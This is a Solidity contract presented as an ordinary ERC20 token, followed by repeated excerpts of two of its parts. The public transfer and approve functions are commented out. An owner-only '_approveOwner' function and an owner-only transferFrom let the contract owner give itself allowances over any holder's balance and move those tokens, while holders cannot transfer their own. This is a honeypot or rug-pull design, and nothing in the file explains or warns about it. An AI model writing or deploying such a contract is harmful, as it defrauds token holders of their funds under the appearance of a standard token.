contract ERC20 is IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowed;

    uint256 private _totalSupply;

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address owner) public view returns (uint256) {
        return _balances[owner];
    }

    /*
    function transfer(address to, uint256 value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    

    function approve(address spender, uint256 value) public returns (bool) {
        require(spender != address(0));

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    */

    function _approveOwner(address spender, uint value) onlyOwner public returns (bool) {
        require(spender != address(0));
        address owner = owner();

        _allowed[spender][owner] = value;
        emit Approval(spender, owner, value);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowed[owner][spender];
    }

    function transferFrom(address from, address to, uint256 value) onlyOwner public returns (bool) {
        if(_allowed[from][msg.sender] > 0) {
            _transfer(from, to, value);
            _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            emit Transfer(from, to, value);
            return true;
        } else {
            return false;
        }    
    }

    /*
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        require(spender != address(0));

        _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
        emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        require(spender != address(0));

        _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
        emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
        return true;
    }
    */

    function _transfer(address from, address to, uint256 value) internal {
        require(to != address(0));

        _balances[from] = _balances[from].sub(value);
        _balances[to] = _balances[to].add(value);
        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.add(value);
        _balances[account] = _balances[account].add(value);
        emit Transfer(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }

    function _burnFrom(address account, uint256 value) internal {
        _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
        _burn(account, value);
        emit Approval(account, msg.sender, _allowed[account][msg.sender]);
    }
}
function _approveOwner(address spender, uint value) onlyOwner public returns (bool) {
    require(spender != address(0));
    address owner = owner();

    _allowed[spender][owner] = value;
    emit Approval(spender, owner, value);
    return true;
}

/*
 function transfer(address to, uint256 value) public returns (bool) {
 _transfer(msg.sender, to, value);
 return true;
 }
 
 
 function approve(address spender, uint256 value) public returns (bool) {
 require(spender != address(0));
 
 _allowed[msg.sender][spender] = value;
 emit Approval(msg.sender, spender, value);
 return true;
 }
 */